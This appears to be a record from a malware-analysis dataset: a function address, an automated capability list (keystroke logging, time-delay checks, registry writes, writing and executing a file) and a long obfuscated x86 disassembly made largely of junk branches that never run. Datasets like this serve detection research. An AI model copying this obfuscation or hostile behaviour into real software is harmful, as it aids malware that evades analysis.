Function at 0x100341cc
Capabilities:
Accept command line arguments
Allocate thread local storage
Check for time delay via gettickcount
Check os version
Clear file content
Create pipe
Create process on windows
Create thread
Enumerate gui resources
Get common file path
Get file attributes
Identify system language via api
Log keystrokes via polling
Parse pe header
Query environment variable
Query service status
Set environment variable
Set registry value
Suspend thread
Write and execute a file

Disassembly:
mov eax, 0x1008cb7c
call fcn.1008b538
mov eax, 0x160c
call fcn.10086c60
xor eax, eax
mov byte [ebp - 0x59], dl
inc eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x50], eax
xor eax, eax
push ebx
push esi
mov dword [ebp - 0x4c], eax
xor esi, esi
mov dword [ebp - 0x40], 0xfffffffa
inc esi
mov dword [ebp - 0x14], eax
push edi
cmp dword [ebp - 0x14], esi
jge 0x10034227
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9b4], 0xe3556834
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10034209
xor esi, esi
xor eax, eax
inc esi
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ecx, 0xc17c7747
mov dword [ebp - 0x50], eax
mov ebx, 0x93009ce4
push 0xffffffffffffffff
pop edx
cmp dword [ebp - 0x50], eax
jl 0x100342b0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xd526
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x9b4], 0x7563
mov eax, dword [ebp - 0x50]
cmp ecx, eax
mov eax, dword [ebp - 0x50]
sbb edx, edx
add edx, 0xffff8a9e
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
cmp ebx, ecx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, esi
setle cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100342a0
push 0xa4a
push eax
call edi
dec dword [ebp - 0x50]
mov ecx, 0xc17c7747
push 0
pop eax
push 0xffffffffffffffff
pop edx
jns 0x10034242
mov ebx, dword [sym.imp.USER32.dll_ModifyMenuW]
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100342d0
push eax
push eax
push 0xdc6
push 0x8b1
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10034309
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x868], 0xe3556834
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100342e8
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], eax
jl 0x10034382
mov dword [ebp - 0x2c], eax
mov ecx, 0x7563
or eax, 0xffffffff
mov edx, 0xc17c7747
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0xd526
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x868], ecx
mov eax, dword [ebp - 0x50]
cmp edx, eax
mov eax, dword [ebp - 0x50]
sbb edx, edx
inc edx
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, 0x93009ce4
setg cl
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, esi
setle cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1003437a
push 0xa4a
push eax
call edi
dec dword [ebp - 0x50]
push 0
pop eax
jns 0x10034311
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1003439c
push eax
push eax
push 0xdc6
push 0x8b1
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x14], 3
or edx, 0xffffffff
mov dword [ebp - 0x4c], 0xcf1813f1
mov dword [ebp - 0x14], 0xfffffffb
cmp dword [ebp - 0x14], 0x1d
jg 0x100343ee
mov dword [ebp - 0x2c], 7
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100343d4
push eax
call dword [sym.imp.USER32.dll_CharNextW]
or edx, 0xffffffff
mov dword [ebp - 0x2c], esi
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
neg eax
cmp eax, edx
push 0
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x14]
pop eax
jmp 0x100343b4
mov dword [ebp - 0x50], esi
xor eax, eax
mov dword [ebp - 0x4c], eax
push 0xfffffffffffffffa
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10034424
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1464], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003440f
xor eax, eax
mov dword [ebp - 0x28], 0xe
cmp dword [ebp - 0x28], 5
je 0x100344ff
mov edi, 0xfff8
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x50], 0xf
cmp dword [ebp - 0x50], 0xfffffffd
jne 0x100344ec
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10034470
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x88c], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10034457
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10034480
mov dword [ebp - 0x888], edi
mov dword [ebp - 0x18], edi
jmp 0x100344dc
mov dword [ebp - 0x18], eax
jmp 0x100344b4
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1003449d
push 0xd53
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100344b1
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10034485
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x100344dc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x88c]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x88c], ecx
dec dword [ebp - 0x18]
jns 0x100344c1
xor eax, eax
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xfffffffd
je 0x1003444e
or edx, 0xffffffff
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 5
jne 0x1003443a
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, esi
mov eax, dword [ebp - 0x145c]
mov esi, dword [ebp - 0x18]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
push 3
setl dl
neg esi
sbb esi, esi
inc esi
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp eax, esi
pop esi
setl cl
xor eax, eax
cmp ecx, 0x7857
lea ecx, [ebp - 0xfd8]
push esi
setg al
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x4c], 0x4e797535
call fcn.10019794
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x40], 0x6845
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x14], eax
jmp 0x1003458c
push dword [ebp - 0x14]
lea ecx, [ebp - 0xfd8]
call fcn.10019832
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10034579
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
xor eax, eax
inc eax
cmp dword [ebp - 0x38], eax
jne 0x100345b0
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x100345b0
inc eax
imul ecx, eax, 0xf34f
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
lea ecx, [ebp - 0xfd8]
setl dl
or eax, 0xffffffff
mov dword [ebp - 0x4c], edx
dec dword [ebp - 0x20]
mov dword [ebp - 4], eax
call fcn.10019816
xor eax, eax
xor esi, esi
mov dword [ebp - 0x14], eax
inc esi
cmp dword [ebp - 0x14], esi
jge 0x10034608
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x954], 0xe3556834
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100345e7
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], eax
jl 0x10034682
jmp 0x10034614
xor eax, eax
mov dword [ebp - 0x2c], eax
mov ecx, 0x7563
or eax, 0xffffffff
mov edx, 0xc17c7747
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0xd526
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x954], ecx
mov eax, dword [ebp - 0x50]
cmp edx, eax
mov eax, dword [ebp - 0x50]
sbb edx, edx
inc edx
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, 0x93009ce4
setg cl
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, esi
setle cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1003467d
push 0xa4a
push eax
call edi
dec dword [ebp - 0x50]
jns 0x10034612
mov dword [ebp - 0x2c], 8
lea ecx, [ebp - 0xc78]
push esi
call fcn.10019794
xor eax, eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100346bc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2b4], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100346a3
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jge 0x100346ec
xor edi, edi
inc edi
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc78]
call fcn.10019832
mov dword [eax], 0x57511ecb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100346ca
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov eax, dword [ebp - 0x2b0]
xor esi, esi
mov eax, dword [ebp - 0x2b4]
inc esi
mov eax, dword [ebp - 0x2a8]
mov ecx, esi
sub ecx, eax
je 0x1003470d
mov eax, dword [ebp - 0x2b4]
mov eax, dword [ebp - 0x2b4]
xor edx, edx
mov eax, dword [ebp - 0x2b4]
mov eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0x2b4]
mov eax, dword [ebp - 0x2b4]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 2
setl al
cmp eax, 0xfffffffb
jne 0x100347c5
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1003476e
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x88], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10034750
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
mov dword [ebp - 0x88], eax
jmp 0x100347ba
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10034797
push 0x1f8
push eax
push 0x23b5
push 0x1fc5
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x88]
push 0
mov ecx, dword [ebp + eax*4 - 0x2b4]
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x2b4], ecx
inc dword [ebp - 0x88]
pop eax
cmp dword [ebp - 0x88], 3
jle 0x10034776
jmp 0x10034815
mov dword [ebp - 0x20], 0xfffffffa
xor ecx, ecx
mov dword [ebp - 0x4c], 0x6595ad33
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2b4]
mov eax, dword [ebp - 0x2b4]
cmp eax, 0x9b9f8733
setne cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0xc78]
mov esi, dword [ebp - 0x2c]
neg esi
sbb esi, esi
xor eax, eax
push eax
neg esi
call fcn.10019832
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp esi, ecx
sete dl
mov dword [eax], edx
or eax, 0xffffffff
lea ecx, [ebp - 0xc78]
mov dword [ebp - 4], eax
call fcn.10019816
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1003483f
push eax
push eax
push 0xdc6
push 0x8b1
push eax
call ebx
push 2
pop esi
push esi
lea ecx, [ebp - 0x9c0]
call fcn.10019794
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x18], 0x9bdba76a
xor ebx, ebx
mov dword [ebp - 0x40], 0x2755
inc ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10034886
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c0]
call fcn.10019832
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003486c
xor eax, eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x10034980
xor edi, edi
inc edi
jmp 0x10034899
xor eax, eax
mov dword [ebp - 0x50], 7
or ecx, 0xffffffff
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0xe88], ecx
mov dword [ebp - 0xe84], ecx
mov dword [ebp - 0xe80], ecx
mov dword [ebp - 0xe7c], ecx
cmp dword [ebp - 0x18], eax
jne 0x1003491a
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x9c0]
mov eax, dword [ebp - 0x50]
push edi
call fcn.10019832
xor ecx, ecx
and dword [eax], 0
mov eax, dword [ebp - 0x50]
test eax, eax
sets cl
sub ecx, dword [ebp - 0x18]
jne 0x100348ea
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x37828451
jle 0x100348f7
xor eax, eax
jmp 0x100348f9
mov eax, edi
mov edx, dword [ebp - 0x50]
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
setne cl
imul eax, ecx, 0x31c3
cmp dword [ebp - 0x50], eax
jge 0x1003491a
xor eax, eax
mov edx, eax
jmp 0x1003491c
mov edx, edi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], eax
jne 0x1003493e
push dword [ebp - 0x18]
lea ecx, [ebp - 0x9c0]
call fcn.10019832
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x9c0]
xor eax, eax
push eax
call fcn.10019832
xor edx, edx
cmp dword [eax], edx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0xfffffff8
setne al
mov dword [ebp - 0xe84], eax
dec dword [ebp - 0x18]
jns 0x10034897
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0x9c0]
mov dword [ebp - 4], eax
call fcn.10019816
mov dword [ebp - 0x14], 3
or edx, 0xffffffff
mov dword [ebp - 0x4c], 0xcf1813f1
mov dword [ebp - 0x14], 0xfffffffb
xor eax, eax
cmp dword [ebp - 0x14], 0x1d
jg 0x100349e1
mov dword [ebp - 0x2c], 7
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100349ca
push eax
call dword [sym.imp.USER32.dll_CharNextW]
or edx, 0xffffffff
mov dword [ebp - 0x2c], ebx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
neg eax
cmp eax, edx
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x14]
jmp 0x100349a9
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10034a0d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x147c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100349f8
xor eax, eax
mov dword [ebp - 0x28], 0xe
cmp dword [ebp - 0x28], 5
je 0x10034ae6
mov edi, 0xfff8
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x50], 0xf
cmp dword [ebp - 0x50], 0xfffffffd
jne 0x10034ad3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10034a57
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x968], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10034a3f
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10034a67
mov dword [ebp - 0x964], edi
mov dword [ebp - 0x18], edi
jmp 0x10034ac3
mov dword [ebp - 0x18], eax
jmp 0x10034a9b
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10034a84
push 0xd53
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10034a98
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10034a6c
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x10034ac3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x968]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x968], ecx
dec dword [ebp - 0x18]
jns 0x10034aa8
xor eax, eax
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xfffffffd
je 0x10034a37
or edx, 0xffffffff
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 5
jne 0x10034a23
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, ebx
mov eax, dword [ebp - 0x1474]
mov esi, dword [ebp - 0x18]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
push 2
setl dl
neg esi
sbb esi, esi
inc esi
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp eax, esi
pop esi
setl cl
xor eax, eax
cmp ecx, 0x7857
lea ecx, [ebp - 0xf3c]
push 3
setg al
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x44], ebx
pop ebx
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x4c], 0x4e797535
push ebx
call fcn.10019794
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x40], 0x6845
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x14], eax
jmp 0x10034b75
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf3c]
call fcn.10019832
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10034b62
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
xor eax, eax
inc eax
cmp dword [ebp - 0x38], eax
jne 0x10034b99
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10034b99
inc eax
imul ecx, eax, 0xf34f
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
lea ecx, [ebp - 0xf3c]
setl dl
or eax, 0xffffffff
mov dword [ebp - 0x4c], edx
dec dword [ebp - 0x20]
mov dword [ebp - 4], eax
call fcn.10019816
xor eax, eax
lea ecx, [ebp - 0xd8c]
mov dword [ebp - 0x4c], eax
inc eax
mov dword [ebp - 0x2c], 8
push eax
call fcn.10019794
push 4
pop ecx
xor eax, eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10034c01
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x28c], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10034be9
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jge 0x10034c31
xor edi, edi
inc edi
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xd8c]
call fcn.10019832
mov dword [eax], 0x57511ecb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10034c0f
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov eax, dword [ebp - 0x288]
xor ebx, ebx
mov eax, dword [ebp - 0x28c]
inc ebx
mov eax, dword [ebp - 0x280]
mov ecx, ebx
sub ecx, eax
je 0x10034c52
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x28c]
xor edx, edx
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x28c]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, esi
setl al
cmp eax, 0xfffffffb
jne 0x10034cf6
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10034cae
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10034c90
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x6c], eax
jmp 0x10034cee
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10034cd4
push 0x1f8
push eax
push 0x23b5
push 0x1fc5
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x6c]
push 0
mov ecx, dword [ebp + eax*4 - 0x28c]
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x28c], ecx
inc dword [ebp - 0x6c]
pop eax
cmp dword [ebp - 0x6c], 3
jle 0x10034cb3
jmp 0x10034d46
mov dword [ebp - 0x20], 0xfffffffa
xor ecx, ecx
mov dword [ebp - 0x4c], 0x6595ad33
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x28c]
cmp eax, 0x9b9f8733
setne cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0xd8c]
mov esi, dword [ebp - 0x2c]
neg esi
sbb esi, esi
xor eax, eax
push eax
neg esi
call fcn.10019832
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp esi, ecx
sete dl
mov dword [eax], edx
or esi, 0xffffffff
lea ecx, [ebp - 0xd8c]
mov dword [ebp - 4], esi
call fcn.10019816
mov dword [ebp - 0x40], 0xfffffffa
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff8
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10034d93
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10034d7c
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10034d9f
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10034da1
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor edx, edx
inc eax
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
add edx, 0xfff6
cmp eax, edx
setne cl
cmp ecx, dword [ebp - 0x18]
jne 0x10034e7d
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10034e7d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x18
jl 0x10034e45
or ebx, 0xffffffff
push 2
pop esi
push esi
lea ecx, [ebp - 0x910]
call fcn.10019794
push 6
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x18], 0x9bdba76a
mov dword [ebp - 0x40], 0x2755
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10034e2c
xor edi, edi
inc edi
push dword [ebp - 0x14]
lea ecx, [ebp - 0x910]
call fcn.10019832
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10034e0c
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
xor edx, edx
inc edx
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], eax
jl 0x1003503e
xor edi, edi
inc edi
jmp 0x10034f5d
xor eax, eax
mov dword [ebp - 0x3c], 0xad9ddcef
mov dword [ebp - 0x3c], eax
jmp 0x10034e64
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x74], ecx
inc dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jle 0x10034e51
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x18
jl 0x10034e43
jmp 0x10034dd9
xor eax, eax
lea ecx, [ebp - 0xbf4]
inc eax
mov dword [ebp - 0x44], eax
push 3
call fcn.10019794
mov dword [ebp - 4], 5
or ebx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10034ec7
push dword [ebp - 0x14]
lea ecx, [ebp - 0xbf4]
call fcn.10019832
mov dword [eax], 0x89e7675d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10034ea8
xor eax, eax
cmp dword [ebp - 0x74], eax
je 0x10034f25
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x74], ecx
sbb eax, eax
neg eax
imul eax, eax, 0xe874
sub eax, 0xa788
je 0x10034eee
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x10034ef5
mov eax, ecx
jmp 0x10034ef0
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x10034efc
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10034efe
mov eax, ecx
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10034f0b
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x44], eax
jg 0x10034f23
lea esi, [eax + 1]
jmp 0x10034f27
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xbf4]
call fcn.10019832
xor ecx, ecx
mov dword [eax], esi
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x2c]
cmp eax, 0xb0ae
setne cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0xbf4]
mov dword [ebp - 4], ebx
call fcn.10019816
jmp 0x10034ddc
xor eax, eax
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0xe08], ebx
mov dword [ebp - 0xe04], ebx
mov dword [ebp - 0xe00], ebx
mov dword [ebp - 0xdfc], ebx
cmp dword [ebp - 0x18], eax
jne 0x10034fdb
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x910]
mov eax, dword [ebp - 0x50]
push edi
call fcn.10019832
xor ecx, ecx
and dword [eax], 0
mov eax, dword [ebp - 0x50]
test eax, eax
sets cl
sub ecx, dword [ebp - 0x18]
jne 0x10034fab
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x37828451
jle 0x10034fb8
xor eax, eax
jmp 0x10034fba
mov eax, edi
mov edx, dword [ebp - 0x50]
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
setne cl
imul eax, ecx, 0x31c3
cmp dword [ebp - 0x50], eax
jge 0x10034fdb
xor eax, eax
mov edx, eax
jmp 0x10034fdd
mov edx, edi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], eax
jne 0x10034fff
push dword [ebp - 0x18]
lea ecx, [ebp - 0x910]
call fcn.10019832
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x910]
xor eax, eax
push eax
call fcn.10019832
xor edx, edx
cmp dword [eax], edx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0xfffffff8
setne al
mov dword [ebp - 0xe04], eax
